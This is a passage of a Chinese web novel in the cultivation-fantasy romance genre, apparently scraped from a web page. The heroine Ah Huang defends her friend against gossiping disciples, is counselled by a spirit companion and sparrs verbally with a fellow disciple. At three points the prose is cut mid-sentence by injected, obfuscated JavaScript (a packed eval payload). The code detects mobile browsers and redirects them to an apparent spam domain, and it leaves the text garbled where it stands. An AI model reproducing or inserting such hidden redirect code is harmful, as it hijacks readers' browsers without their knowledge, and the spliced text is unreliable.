这个人说话总是有点无厘头,这一问把阿凰问住了,呆了呆,说:“我也不知道有什么能用来答谢的……” 蓝衣女子笑了笑:“不要那么较真嘛,若事事都计较多累啊。对了,我叫乌妤,以后我们一定还会见面很多次的,信不信?” 乌鱼?无语? “乌黑的乌,婕妤的妤。”似乎看出她的疑惑,乌妤说。 想起来这是第三次见到她了,算上镜中世界那还不止于此,阿凰觉得有时候缘分真是一种神奇的效应,估计是真的有缘吧,所以才有这么多次巧合。 她颔首,又想起结束历练那日,乌妤和顾纯儿两人四目相对,却都不算友好的画面,一时又好奇起来,但不知如何开口询问,显得自己很八卦,心思很不好,竟然想吃好朋友的瓜。 “出了镜中世界你有什么感悟?”乌妤问。 想了想,阿凰说:“没有,只是感受到修为确实有所提升。” “真的没有吗?”乌妤突然凑近了,一双眼睛盯着她,好像要从她眼中盯出真实的答案。 见她不多说,乌妤退了回去:“以后会有的。” 留下一句莫名其妙的话她就走了,来无影去无踪,似乎一向都是来去自如的,很是符合她的性子。 时候差不多,阿凰把球球放回小箩筐里,背着它回去了,至于那条狗,它似乎想跟着阿凰走,可是好像要在这里等着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182633|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能目送一人一猫离开。 等阿凰的身影彻底消失,暗中那个人才走出来,猎犬赶紧凑上去,老老实实地坐在地上抬头看着他。 “一会儿不见,这就急着认新主了?” 猎犬似乎听懂了,着急得甩尾巴的频率都变快了。 “走吧,傻狗。”独孤凤渊轻轻笑了一声,“你不是很喜欢她这样叫你?” 猎犬吐着舌头装傻。 他心中又冒出一丝不对劲。 回忆起镜中世界,他尚在疑惑,为何那个世界里,要把他和阿凰安排成一对? 那里的顾纯儿喜欢玄极,他虽不想承认,但并不意外,和现实世界对应上了。 既然镜中世界的人物行为和性格都与现实中大差不差,那为何,那时的阿凰竟对他如此情深? 很显然,他是不喜欢阿凰的,他早已心有所属,而阿凰应该也是不喜欢他的,至少他没看出来。 这个女孩,一直都不惹人注目,基本不会想起这么一个人,她好像一直很安静,却又努力跟上众人的步伐,不拖后腿。 没有天赋的普通人。 按理说这样的人在弱肉强食的修仙界活不久,可她非但成为玄极的弟子,还顺利通过凡尘十二镜的试炼,心境远比看起来的顽强。 不过,如果镜中世界与真实世界对应着……独孤凤渊兀的又笑了笑。 宋清希和正枫居然喜欢阿凰? 这个普普通通的女孩到底有什么魔力? 还没回到观画阁,半道上阿凰就听到有人在谈论着什么话题,越说越激动,搞得她不想听也被迫听到了。 “明明长得那么老,一张脸跟三十几岁了一样,正常的修士是能保持容颜的,修仙修到狗肚子里去了,还好意思天天穿粉色装可爱,没人提醒她真的不适合吗?”女孩的声音充满不屑。 “也没有,她还喜欢穿鹅黄色呢。”另一个女孩的声音。 说谁呢?阿凰停下脚步,竖起耳朵。 “整天打扮得花里胡哨的,光是那些布条就能把她自己缠住,修为也不高,盼望着哪天出了意外跑不掉,让她那些哥哥弟弟们救她啊?” “没办法,人家就是有数不尽的追随者,只要破点皮就有一堆人上赶着关心。” 女孩翻了翻白眼,冷哼一声:“整天生龙活虎活蹦乱跳,却喜欢装病博同情,不会以为自己很柔弱很可怜吧?” 另一个女孩笑嘻嘻的:“人家那是作给自己的目标看呢,又不是让我们看的,你看我们这些俗人不是不上当吗?” “真正身子不好的人都不如她一半爱装柔弱,何况她自己还是个医修呢,真病假病她自己清楚。” 到底在说谁啊?阿凰实在很好奇被她们言语讨伐的是何等人也,竟让她们这么讨厌,言辞如此激烈。 “与她同一个师父的不是还有另一个女修吗?人家就没那么喜欢惹人注意,老老实实的,叫什么来着?” 另一个女孩说:“不知道,反正另一个看起来比她需要关心多了,看人家瘦的,一看面容就是常年带病的,穿着朴素得我都觉得有点可怜了,再看看她,满面红光,那个珠圆玉润哦。” “人家有数不尽的人照顾,光是每天听别人的夸赞都听乐了,可不就满面红光。” 越听越不对劲,阿凰心里隐约有一种不好的预感。 31. 维护 “关系户当然有数不尽的人巴结,没想到吧,这世上还是有正常人的,你们猜她会不会没料到,还有人不吃她那一套的?” 一个女孩跟着嘻嘻坏笑:“我也想知道,要是她发现这世上竟然有人会讨厌她,还说她坏话,会不会愣住?是会气急败坏装不下去纯真的一面骂人,还是哭哭啼啼去找她的男人们出气?” “好害怕呜呜呜……她背后的男人们都好强大的,惹不起惹不起,别收拾我啊,我只是不喜欢她就有罪了吗?她有男人们喜欢还不够,还非要所有女人也喜欢她不成?非要当男女老少都喜欢的万人迷吗?” 一个女孩捏着嗓子,好像在模仿什么:“那咋啦?人家声音这么甜美,就应该人见人爱,女人也得喜欢我哦,竟敢不喜欢本仙女,小心本医仙把你治得半身不遂,一个脸色就让男人们自动化身忠实护卫重拳出击。” 说着,几个女孩哄堂大笑。 笑够了,又一个女孩说:“她不会真的以为那些人都是被她的魅力吸引了,才主动和她认识吧?她没发现自己就是个关系户吗?走到哪都要提一嘴,自然会吸引想攀关系的人。” 一女孩叹息道:“靠父母就是硬气,到哪里都有人关照,紫微派这样的地方也能走后门直接进来,还一跃成了玄极长老的徒弟,不知道的还以为我们门派门槛很低。” “你们猜猜,以她的资质,不靠关系能进入紫微派,加入药宗吗?” “在梦里加入吧。”一个女孩语气果断,“现在让她去药宗行医救人,看她能救几个?每个人都知道她小医仙的头衔,可问实绩她拿得出来吗?你们敢让她救治吗?” 女孩们连连说不敢。 “所以说,她还是整天专心打扮吧,虽然一点也不合适,难看死了,但总比出去医治害人好,有事就让她的哥哥弟弟们出手就好了,关系户老实点世界就和平了。” “只可惜人家可不甘心老实安分,在这一点她还是得和她同门的师姐学学啊。” “首先学学她那位师姐是怎么保持身材的,再问问人家如何保养,肌肤白皙细嫩,一直圆润肤色又……偏黄,也不是个办法,如果说她的男人们就好这一口,那没话说了。”女孩说着众人噗嗤笑出声。 有女孩接着话题:“是哦,就差昭告天下说,我是清音门小师妹,堂堂小医仙是也,我的门主父亲,我的第一美人母亲,我的长老师父,我的少主师兄弟,等等等等,这你受得了吗?” “什么第一美人?严谨点,是修仙界第一美人,真正的第一美人是司音天神。” “纠结这么仔细,小心她听了不高兴回家告状,她亲娘比她还恐怖,你受得了?” 女孩们你一言我一语接着说。 “我受不了,她父母很可怕的,众说纷纭,褒贬不一,大家给面子表面上都说神仙眷侣罢了,私底下流言可不少,你们回去问了长辈,听了当年的事迹就知道了。” 这下听懂了。 阿凰从暗处走出来,径直走到几个女孩面前,静静看着她们。 她们说顾纯儿想不到这世上还会有人讨厌她,阿凰自己也想不到,原来,真的有人会不喜欢她,甚至用这么过分的话中伤她。 好在顾纯儿不在这里,否则亲耳听到了这些话,一定会很难过的。 直到完全确认了女孩们骂的人是谁,阿凰才敢站出来,她连自己被欺负了都没有勇气为自己出击,可是为了顾纯儿,她为数不多的朋友,她竟也能勇敢地站出来维护。 “你们刚刚在骂谁?” 话说出口的时候,阿凰心跳得很快很大声,这是她头一次与人对峙,身上也在发热,肾上腺激素起作用了,努力装出来的平静才让开口说出来的话不漏破绽,听起来很淡定,不发抖已经很好了。 她甚至都想好了后路,如果又被玄极责罚,说与同门斗殴,她也自己认了,反正不能再让这些人这么骂顾纯儿,更不能让她听到这么难听的话。 她已经想象到自己以少敌多,打不过这几个凶巴巴的女孩,会被欺负成什么样,多狼狈,会被她们指着鼻子骂得多难听。 没关系,她的承受能力早就练好了,已经习惯了,骂不过就堵上耳朵。 她甚至还想象了,事情闹大之后会不会被嫌弃惹麻烦,独孤凤渊会不会后悔把她带来这里呢?会不会也嫌弃她? 事到如今已经没有后悔的余地,就算再来一次,她也会选择站出来,维护自己的朋友。 那几个女孩齐刷刷看过来,眼中露出一丝被当场抓获的心虚,互相推脱着,有一个女孩这才迎上阿凰的目光,反问:“什么骂谁?我们可没有骂人。” 阿凰深吸一口气,说:“好,那我再问你们,刚刚在说谁?” 女孩嘴硬道:“我们爱说谁说谁,怎么,我们连谈论自由都没有吗?身为同门,我劝你最好睁一只眼闭一只眼,凡事留一线日后好相见,希望你懂这个道理。” “谈论自由不应该建立在攻击同门之上。”阿凰语气平静,“况且你们也知道都是同门,就更应该留有一丝包容,而不是无端谩骂同门,主动攻击别人,总有一天也会被反击。” 有人认出了阿凰的身份,互相耳语,那些女孩又心虚了一瞬,不过面子不允许她们承认错误,硬着头皮直面阿凰。 “我再说一次,我们刚刚可没有骂人,只是正常的讨论,有不喜欢的人很正常,同道中人聚在一起谈论也很正常,劝你不要咄咄逼人。” “如果我说我非要你们亲口说出刚刚谈论的人是谁呢?”阿凰说,“是你们先言语攻击别人,反倒说我咄咄逼人?既然我听到了你们攻击我朋友,就不会当做没听到。” 女孩们触发了逆反心理,一人冷笑着,说:“没想到你是个蠢人,那我就告诉你,我们说的就是顾纯儿,怎么样?” 看着她们气焰嚣张,阿凰反而冷静了许多:“如果你们非要骂人,那我也奉陪。” 女孩毫不在意,只是盯着她的眼睛说:“你平日里都被她压着一头,被她的风头盖过去,就不觉得不对劲吗?你是泥人捏的吗?竟一点脾气也没有?” “纯纯家世优越,自己也优秀,万众瞩目很正常,她没想过压着谁,你们别恶意揣测。”阿凰有理有据。 虽然她有时候也会羡慕顾纯儿,像个开了挂的主角,觉得自己像个npc,被衬托得很可怜,但她心里始终觉得,这是顾纯儿本就优秀,拥有这一切都太正常了。 而她自己两世的命都不好,有的人出生就在罗马,而有的人出生就是牛马,她已经被命运安排得没脾气了。 “纯纯?”女孩好像听到了什么恶心的东西,夸张地干呕起来。 “我看叫蠢蠢吧?” “好恶心,你们平时这么称呼她不起鸡皮疙瘩?” “你们这种感情真的好虚伪啊!虚伪的人拥有虚伪的感情,很合理。” “原来她平时都是被你们这么哄着,难怪那么莫名的自信。” 她们讲道理说不过,开始人身攻击了。 阿凰看着她们夸张的表现,依然淡定,说:“既然你们非要这样,就别怪我不顾同门情面了,你们就是一帮乌鸦,看到了腐肉才聚集在一块,只有一起攻击别人才能让你们短暂的团结,简称乌合之众。” 女孩们气得“你”了一声,就被阿凰打断,继续输出:“你们骂别人那么难听,其实自己这样子也很丑陋,只是你们都不愿意承认罢了,打着团结的借口攻击同一个人,有本事就当面骂去,只敢私底下聚在一起骂很可怜的,为什么不敢呢?其实你们也很害怕,又怕又恨,真的很可怜。” “你自己就不可怜了?你被别人衬托得像个乞丐,大家眼里永远都看不到你,你看,即使你在这里努力维护她,除了我们谁又知道呢?”女孩不甘示弱地回应,“你也是个可怜的疯子,只是为了维护别人就狗咬狗,显得你更可笑可怜了。” 阿凰怎么会不知道呢?可是那又怎么样?千金难买我乐意。 “你们也承认自己是疯狗了?正好我们谁也别放过谁,今天互咬个够吧。” 是女人就战斗吧! 她舌战群儒,从没发现自己这么能骂,加上战斗到一半夜月姬突然说话,也许是被吵醒的,在脑内给她出谋划策,场面一时变得有些滑稽。 骂战早就变成了纯粹的互相攻击,已经脱离了最初的思想,大家眼里只有攻击对方的欲望,仿佛少骂一句就是血亏了,都忘了事情的起因,到最后双方都骂得没力气了,那些女孩竟主动提出下一次继续骂,约定好了还是在这里。 阿凰感到啼笑皆非。 骂人一顿,居然好像浑身轻松多了,就像排毒了一样。 “其实你骂人挺六的嘛,要是多用来保护自己就好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197422|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”夜月姬也有点口干舌燥,为阿凰想点子也是很累的,就怕她在自己眼皮子底下受人欺负,骂顾纯儿她没意见,但骂阿凰她就要出力了。 也许是抗压抗久了练出来的吧,阿凰都没有发现自己什么时候练出来的抗压能力和骂人的本事。 玩游戏抗压,现实里也要抗压,地球ol真是玩麻了。 “不过有一说一,关系户确实招人烦,还到处说,不是让人觉得在炫耀吗?一些中立的普通人确实会讨厌那种喜欢显摆自己的交际花。”夜月姬说,“也就是我们能说会骂,否则这件事其实我们是有点理亏的,人家可能就是关系户的受害者,可是关系户那么受欢迎,人家不敢反对,被侵犯利益了还不能说,私底下说说也要挨骂,这对吗?” 阿凰被问愣了,自己还是太年轻,夜月姬这种老前辈看问题一针见血。 “我想少了,不过让我坐视不理真的很难受啊,自己朋友被人家骂得那么难听,就算撑个人场也要站出来,而且刚才我的论点是不能那么恶劣的攻击同门,正巧被事件主人公的朋友听到了,帮忙是情理之中。” 夜月姬不置可否,只说:“你还给别人撑上人场了,刚开始站出来的时候腿抖没抖自己知道,她们有一句说对了,你在这里为了顾纯儿战斗谁知道呢?最后自己名声没了,她毫无损失得到了好处,人设依旧稳,可是,又有谁关心你呢?” “计较这些还是朋友吗?” “你扪心自问她真的会把你当朋友吗?” 眼看阿凰被问住,夜月姬话匣子关不住了:“我真的想劝你不要自作多情,可谁叫你倔脾气呢,答应我不要单方面把一个人当朋友,好吗?你问过人家同意了吗?我知道你一直很缺爱,各种意义上的爱,才会一看到希望就想抓住,奉献自己的一切,表明自己是值得被爱的,以换取一丝一毫的感情。” “用一万分的付出,换取一分的眼神,这是亏本的,违反了生物本能。” 阿凰彻底怔愣。 夜月姬继续说:“可是你知道吗,你一厢情愿默默付出,人家受益了只会觉得理所应当,哪会记得你的好?你付出给谁看呢?你们那里不是有个说法吗,叫做工作要留痕。” “我只希望你多少也为了自己想想,就当做也为了我吧,先从不给别人当舔狗做起,友情中的舔狗心态也是需要警惕的,你自己想想,是不是很在乎顾纯儿的想法?可你们的灵魂是平等的,为什么要放低姿态讨好她?更别提爱情上的事了。” “别说了!”阿凰忽然痛呼一声,蹲了下去,把脸埋在双臂间,眼泪控制不住流下来,心口酸涩,鼻腔也酸得堵住了。 察觉到她状态异常,球球变得很害怕。 “我都知道,可是能怎么办呢?我也不想这么卑微,可是……我什么也没有,我知道自己就算拿出全部,别人也看不上,因为替代品太多了。”她的声音带着哭腔,“就当是我贱吧,道理我都懂,可有时候就是忍不住犯贱。” 长久的沉默后,夜月姬叹气道:“我不是在责怪你,只是看不下去你那么卑微,你心中的痛苦,我是能全方位感受到的,你难过我也会不好受,你不需要向任何人证明自己的价值,证明自己值得被爱,越想证明越内耗。” 阿凰似懂非懂。 “也许对于现在的你来说,这个很难做到,日后你发现了自己身上的闪光点,学会直面自己,那时候你就会明白,花若盛开,蝴蝶自来。” “好好的哭一场也好,真怕你憋出病了。” 良久,阿凰收拾好状态,重新站起来。 骂战期间,她把小箩筐放下来,球球看着这个场面,在一边跟着喵喵叫个不停,现在它看着她恢复正常,天生自带可怜的眼睛好像在关切地看着她。 把小箩筐背起来,她继续往回走。 在她没发现的地方,有一人一狗站在那里,竟看她和别人对骂了这么久。 独孤凤渊也觉得自己莫名其妙,为什么要浪费时间在这里看几个女人吵架。 他是半途听到有人吵架才停下来听的,自然错过了阿凰维护顾纯儿,仗义执言的部分,只知道她在骂人,联想到之前她被玄极责罚,以为她本性如此,又在闯祸,不禁在心中认为她嘴毒性子顽劣。 还被骂哭了。 他脑海中回忆起顾纯儿甜美的声音和话语,对比之下真是沁人心脾。 32. 又怎么了大少爷 回到观画阁,刚一打开门怀里就忽的一沉,随即空空如也,球球自己跳到地上去了,在家里不紧不慢地走着,像是在巡逻。 看着这只小家伙,阿凰心情都觉得好很多。 顺手把门关上,下一刻门板突然被人踹开,球球被吓得发出一声警惕的叫声,就像被踩到尾巴一样惨烈的声音,估计是吓得不轻,它弹射起步,一蹦三尺高,一瞬间就闪到床底下躲起来。 看到球球被吓成这样,阿凰转身看清了来人,没好气地问:“又怎么了,大少爷?” 要是把球球吓出病,她非要跟他拼一回不可。 宋清希吊儿郎当地靠在门边,没个正形,跟在顾纯儿面前完全是两模两样,她也早就习惯了。 这些男人,一个比一个爱装,在顾纯儿面前都是体贴温柔风趣的好男人,只有在她面前才会暴露本性。 合着她就是个大冤种呗,负责承受他们不好的一面,好让他们有精力重整旗装,在心爱的女孩面前展现完美的自己。 真是够了。 “我师姐哪儿去了?” 阿凰第一反应是想,你师姐不是在这儿吗?立刻反应过来,他说的是顾纯儿呢,那才是他真正的唯一的师姐,她就是路边一条,一个乞丐,哪里配当他师姐。 那些女孩有一点倒没说错,她确实像乞丐,她穷酸她承认了。 看到阿凰愣了一下,宋清希以为她被自己踹门吓到了,心里有一瞬的愧疚。 他也不想老是这样和她相处,可是好像只有这样她才会露出与平时不同的一面,原来她也是会生气、会骂人、会反抗的,她不是表面上看起来那么淡然和无趣,甚至是唯唯诺诺的人。 而这一面,只有他才发现。 兔子急了会咬人本身不算一件特别有趣的事,可这只兔子是被他逼急了,每一次都是,他就觉得好玩了,执着于一而再再而三的逗急这只兔子。 发现了这个秘密,宋清希有点窃喜,所以才会不厌其烦地骚扰阿凰。 看啊,只有在他面前,她才会摆出不耐烦的姿态,不再费心装作和睦共处。 “你们那么熟反而来问我?”阿凰反问。 “你们都是女孩子,不问你问谁?”宋清希再问。 什么逻辑?阿凰不想应付他,每次见到他都没好事,只想让他赶紧离开这里,不要打扰她和球球平静美好的生活,虽然很短暂。 “不知道,我一整天都没见到她,你自己找去吧。”她说着,强硬地要关上门板,“我累了,要休息了,你一个男修应该避嫌,自觉点少来这里。” 宋清希不高兴了,故意和她较劲似的,单手撑着门板,让她费尽力气也关不上门,得意地看着她说:“什么意思,把我当瘟神赶?” 可不就是嘛……阿凰只敢在心里说。 “我这里简陋不适合迎客,容不下你这尊大佛,避嫌懂吗?自觉避嫌,少来这里好吗?” 听了她的话,宋清希往屋内一扫,还真是简洁。 正想说她怎么老是布置得跟个乞丐似的,穿的也简朴,就想起她孤身一人,连个可以依靠的人都没有,哪里还有人为她打点? 似乎,需要关照的人一直都是她啊。 宋清希一时忘了自己此行的目的,莫名的就想起镜中世界的经历。 想起来他就不服气,为什么那里的自己会喜欢上阿凰,她有哪里值得自己喜欢的?他竟会不喜欢顾纯儿转头去喜欢阿凰?真是荒谬。 更过分的是,他都喜欢阿凰了,她竟然不喜欢他?非要一头撞死在那个负心汉独孤凤渊身上,爱他爱得要死要活。 现实世界中,宋清希从来不会给独孤凤渊一个正眼,虽然他一眼就看出来这个人是自己潜在的对手,可他也是单相思,他看得出来顾纯儿眼里根本就没有独孤凤渊,就更觉得他可笑了。 他还能仗着无拘无束的性格、曾经相识的经历、师弟的身份等等与顾纯儿接近,她也乐意回应他,所以肉眼可见的,他更有希望。 但是明眼人都看得出来,顾纯儿从来都对独孤凤渊没有一丁点意思,甚至不愿意做戏敷衍他,只是因为同门的身份,又因为他总是不要脸地凑上去,他才得到一丁点可怜的机会和顾纯儿说话。 就是一个很可笑的人。 宋清希承认自己心直口快,因为他就是知道自己看待事物比别人敏锐,便多了一分高傲,他觉得没什么不好承认的。 比如他也知道,顾纯儿真情假意是掺着来的,有时候,他看得出来她在演戏,可他就是乐意看,乐意包容,不知为何,她就是有这种魔力,连他也被吸引,所以更疯魔的想靠近。 也许是因为自信吧,顾纯儿的自信,和他的自信,本质上是一样的,他觉得这就是有共同点,才会互相吸引。 而阿凰,是一个意料之外的人,就像镜中世界的经历,也是他很意外的。 宋清希本以为就算在虚拟的世界之中,他还是会义无反顾地爱上顾纯儿,此生无悔,虽然一开始也爱上了,可是后来竟会改变。 是因为看透了顾纯儿的真面目?他不知道。 “喂,笨蛋师姐,第一次镜中世界结束后,你有没有什么想法?” 真是奇了怪了,这是第三个问她经历凡尘十二镜的观后感,怎么非要问她?明明他们自己也和她同时经历了。 只是因为他们都好奇别人的感想? “你先说说你的,我再回答你。” 按照宋清希叛逆的性格,阿凰觉得他才不会顺着她的话来,也不指望他会老实回答,也没兴趣知道,只是想应付他快走。 没想到宋清希居然真的思考起来,说:“我觉得你还真是个笨蛋,和现实中一样。” 虽然回答了,但也是毫不意外的答案。 “哦,知道了,我笨满意了吧?快走吧。” 宋清希强硬地把阿凰要关上的门按住:“你还没回答我。” “你也和现实中一样,大公子。”阿凰说。 他不满意这个回答:“怎么就和现实中一样了?现实中我也有好好的纯儿不爱,单相思你?得了吧,你不觉得诡异吗?” 他不说还好,一说阿凰就想起镜中的经历,她也觉得莫名其妙,这个桀骜不驯的祖宗怎么会喜欢她?他分明眼里只有顾纯儿。 “确实很诡异,被你喜欢就像被鬼缠上,我也觉得很尴尬,你呢?所以以后别再提,也少来找我,否则我会以为你真的喜欢我。” 最后一句,阿凰是故意恶心宋清希的,他有喜欢的人,并且还讨厌她,听到这种话,按照他的脾性要么气急败坏,要么就被恶心到,只会赶紧远离了。 没想到宋清希却只是疑惑:“被我喜欢很丢脸吗?多少人巴不得给我当少夫人,你还嫌弃上了。” 阿凰没招了,这人怎么跟狗皮膏药一样? “你不是要找纯纯吗?我猜她应该是身子又不好了,去找师父了,敢不敢跟我打赌,她就在璇玑阁?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209083|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>又一次没想到的是,宋清希居然满不在乎:“激将法?我才不上当,真当我是小孩子?” 看她沉默,宋清希逼近了,两张面孔近在咫尺,他的气息热热的,扑在阿凰脸上:“笨蛋师姐,你到底什么时候才能明白,我和你们年纪相仿?再把我当无理取闹的小孩子看待,我就……” 后面的,他不说了,只是盯着她。 阿凰启唇说话:“你有口臭。” 肉眼可见的,宋清希脸上僵住了,趁此机会,阿凰手脚并用,用力把他推出门外,关紧了门窗。 宋清希一个趔趄,反应过来发生了什么事的时候,惊住了。 他竟然被嫌弃了?竟然被她拒之门外? 他正要开口,转头一想又作罢。 低三下四求别人给他开门,还要证明自己没有口臭?这不可能。 从窗户的缝隙中看着宋清希远去的背影,阿凰心中暗喜,和他的对抗第一次拿下了胜利。 经过这么一闹,阿凰也有点好奇,经历了镜中世界的顾纯儿会有什么想法?她会讨厌她吗?会不会因为虚拟的独孤凤渊剜了她的眼睛,就连带着恨她呢?毕竟那是因为她。 难怪过了这么久,顾纯儿都没主动和她说过一次话,估计也是心理上一时半会儿过不去吧。 刚刚冒出的想法又被自己打断,阿凰想,顾纯儿那么受欢迎的人,身边的人数不胜数,一个个应付都要好几年呢,也许大家知道她才历练归来,都拥挤着去问候她,忙得没想起她也很正常。 明明才说了,不要老是在意别人的想法,怎么又在内耗了。 回过神,球球乖巧地坐在旁边,紧挨着她的屁股,俯视角下看着越来越像一个球了。 球球喜欢跳来跳去,这会儿累了又跳去舔水喝。 次日阿凰依旧带着球球出去玩,还是老地方,到了那儿,那条猎犬居然已经出现,自己在草地上跑来跑去。 到底是谁养的狗,放心放出来自己玩,就算不怕被人偷了,毕竟是猎犬,突然发狂伤人可怎么办? 这次阿凰也不放心去玩水了,就待在原地看着它们玩。 直到时候差不多,她背着球球回去,猎犬还是目送她离开,她都怀疑这条狗是不是就住这儿了。 刚把球球安顿好,它突然又溜到床底下,阿凰不用想就知道,又来人了。 一转身门口站着她不乐意见到的瘟神,还没来得及开口,他就甩手一丢,一个个黑影扑面而来,她下意识伸手接住,都是一些柔软的布料。 直到宋清希不再丢,她才有机会查看,怀里抱了一大堆衣服,装不下的落在地上堆成小山,件件精美,料子华贵,而且这一次,不是粉绿鹅黄的颜色了,是她喜欢的青绿山水之色。 “什么意思?” 无事献殷勤,非奸即盗,阿凰最怕接受别人的好意了,因为她还不起,更何况是宋清希的好意,只担忧有陷阱。 “大家都说你像乞丐,你不知道吗?” 要是在之前,阿凰会觉得他故意挑衅,可那次对骂大战之后,她明白自己确实太朴素了,虽然不是自愿的,导致在别人眼里她就是个乞丐似的形象。 看到她对手中的衣服确实满意,宋清希有些得意,继续说:“我可不想外人说,我们无尽峰的弟子如何的落魄,就自掏腰包随手弄来几件女子的衣装,让你今后别再那么寒酸地见人,失了无尽峰的排面,你可别不识好歹。” 阿凰想说一句我恨有钱人。 33. 攻击性极强 女子身姿纤长,如柳条般迎风而立,衣着精美,只看背影就如同月宫仙子,清冷而遥不可及,衣袂随风飘飘然,发丝飞扬,明明是背光吹曲,看不见面容,却让人觉得那就是仙子。 一曲吹毕,身后的众人赞叹不已。 知道阿凰新编了一首曲子,他们主动要来听听,虽然有一段时间没吹笛子了,但这对阿凰来说毫无影响。 “不错不错,好听爱听多吹,景美人美曲也美。”乌妤随意地坐在枝头上,差不多是阿凰头上的位置,“其实以你的实力,专注音修也是绰绰有余的。” 阿凰现在还不太明白自己算什么修,既然用得最多的就是笛子,那就算音修吧。 众人赞赏阿凰这一身装扮的时候,宋清希就得意得不行了,就差要告诉所有人,这是他亲自挑的衣服,这么漂亮的她是他创造的。 徐子岑道:“阿凰可是无尽峰唯一的排面,一定会被请去参加祭典的,到时在万众瞩目之下,向他们展示你的独门本领!说起来,我和小然都还没见识过天舞缭乱呢。” 她嘴里三句不离许萧然,阿凰早已发现,只是最近都没怎么见到他,徐子岑独自出现还是有点意外的,当然,随着许萧然出现次数减少,徐子岑也不怎么来了。 正枫解释道:“听阿凰说,天舞缭乱不能轻易示人,想必是很劳神费力的,到了祭典那日我们就能见识了。” “唯一?怕不是忘了还有我师姐,妙音仙子。”宋清希冷哼一声说。 “妙音仙子不是最喜欢唱歌了吗?有阿凰吹曲,正适合她大展歌喉,怎么这会儿不见她?这种时候没有她还是很可惜的呢。”乌妤话里有话。 结束历练那天,宋清希发现顾纯儿和这个人不对付,于是方才再一次见到她,一直警惕着,只是此人确实很难套话。 他道:“看来你和她很熟悉,怎么从不见她提起?你既觉得遗憾,不如亲自去请她来?” “没大没小,我可是你们在场所有人的师姐。”乌妤看都没看宋清希一眼,“她没跟你提起,也许是因为不熟的人她就不说吧。” 阿凰难得见到宋清希被话头呛住了,乌妤却不肯放过他,继续说:“我自认为是她的熟人,至于她怎么想我就不知道了,熟人太多不差我一个也是正常的。” “大名鼎鼎的妙音仙子岂是凡人能请来的?我看你也等急了吧,身为她的小师弟怎么不去请?哦,我这个仙子的老熟人都请不来,不熟之人自然更请不来了。”还没回味明白乌妤的意思,她再度出击。 “哎哟哟,还真是个大忙人,凡夫俗子无缘面见仙子一面了。” 某人彻底被制裁了。 见他被迫暂时安静,阿凰偷笑,这下老实了吧?啃到硬骨头了,可不是所有人都像她一样老实好欺负。 心里想一下就算了,宋清希刚给她送了一大堆衣服,她还是很感激的,虽然她更需要一大堆药材。 结合在神机庭的那一次印象,阿凰更好奇了,乌妤和顾纯儿一定是有过节的,否则乌妤这个潇洒随性的性格,怎么会毒舌地讽刺一个人,甚至连她身边的人都不放过?只要帮她说话,就会乌妤逮着输出。 她问过几个人当中最早来到紫微派的正枫,乌妤是什么来头?他说他也不太清楚。 “只知道乌师姐也来自清音门,独自来到紫微派,因为为人随性洒脱好相处,又会逗人开心,总是顺手就帮助别人,一年过去成了大家喜爱的同门。” 想起第一次见到乌妤的场景,加上这段时间相处,阿凰也觉得她是一个很好的人。 又想到骂战那一天,阿凰感觉印象有点被颠覆,这是她第二次发现,这世上居然有人能抵挡顾纯儿的魅力,不喜欢她就算了,还讨厌她。 宋清希本就因为被顾纯儿拒绝了而不高兴,一开始以为她和阿凰有矛盾,便连带着在心中怪罪阿凰,可是现在才知道,原来是因为还有这么一个怪人。 暼到徐子岑想笑又不好意思笑的表情,阿凰在想她是听到乌妤怼顾纯儿,还是因为这件事好笑。 毕竟在镜中世界,她也挺惨的,丈夫和别人暧昧,她还只能包容大度,身为正牌妻子,却只能看着丈夫讨好顾纯儿。 永远有流不完的泪。 好在徐子岑并没有参与凡尘十二镜的历练,那样残忍的场景,她应该是看不到的吧,否则这世界对于这样的女子真是太狠心了。 原本对于祭典阿凰是不感兴趣的,透明人当惯了,她有点害怕抛头露面的感觉,太久没有在舞台上表演,似乎是很久以前的记忆了。 可是听说被邀请在祭典献上表演的人,会得到一大笔灵石,她就很感兴趣了。 唱歌她唱不了,况且在这个赛道上还有人比得过顾纯儿吗?都不需要任何唱功与感情技巧,只需要听到她的声音,评委自动打满分。 吹曲?跳舞?阿凰觉得自己都能应付,有参与资格就行,混点灵石就满足了。 又是一日晨练,距离上一次已经是上一次了。 玄极会以此不定时查看他们的状态,剩下的时间,他大多时候好像都很忙,神龙见首不见尾的。 阿凰是很不敢打搅到他的,如果哪天真的不得已要去麻烦他,估计只能拜托顾纯儿帮她去说话了。 ……这两种选择都很难受好吧。 几人围着玄极打坐冥想,在阿凰感受到自己好像要进入某一种境界时,一阵咳嗽声将她唤醒。 是顾纯儿又犯病了。 